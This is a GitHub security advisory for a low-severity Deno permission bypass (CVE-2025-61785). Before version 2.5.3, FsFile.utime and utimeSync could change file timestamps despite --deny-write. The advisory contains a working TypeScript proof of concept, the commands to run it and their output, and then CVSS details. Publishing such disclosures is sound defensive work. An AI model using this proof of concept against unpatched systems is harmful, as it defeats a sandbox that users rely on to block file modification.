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Deno's --deny-write check does not prevent permission bypass

Low severity GitHub Reviewed Published Oct 7, 2025 in denoland/deno • Updated Oct 13, 2025

Package

cargo deno (Rust)

Affected versions

< 2.5.3

Patched versions

2.5.3

Description

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
               ^
    ...
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
         ^
    ...

Impact

Permission model bypass

References

@bartlomieju bartlomieju published to denoland/deno Oct 7, 2025
Published to the GitHub Advisory Database Oct 7, 2025
Reviewed Oct 7, 2025
Published by the National Vulnerability Database Oct 8, 2025
Last updated Oct 13, 2025

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Incorrect Privilege Assignment

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

CVE ID

CVE-2025-61785

GHSA ID

GHSA-vg2r-rmgp-cgqj

Source code

Credits

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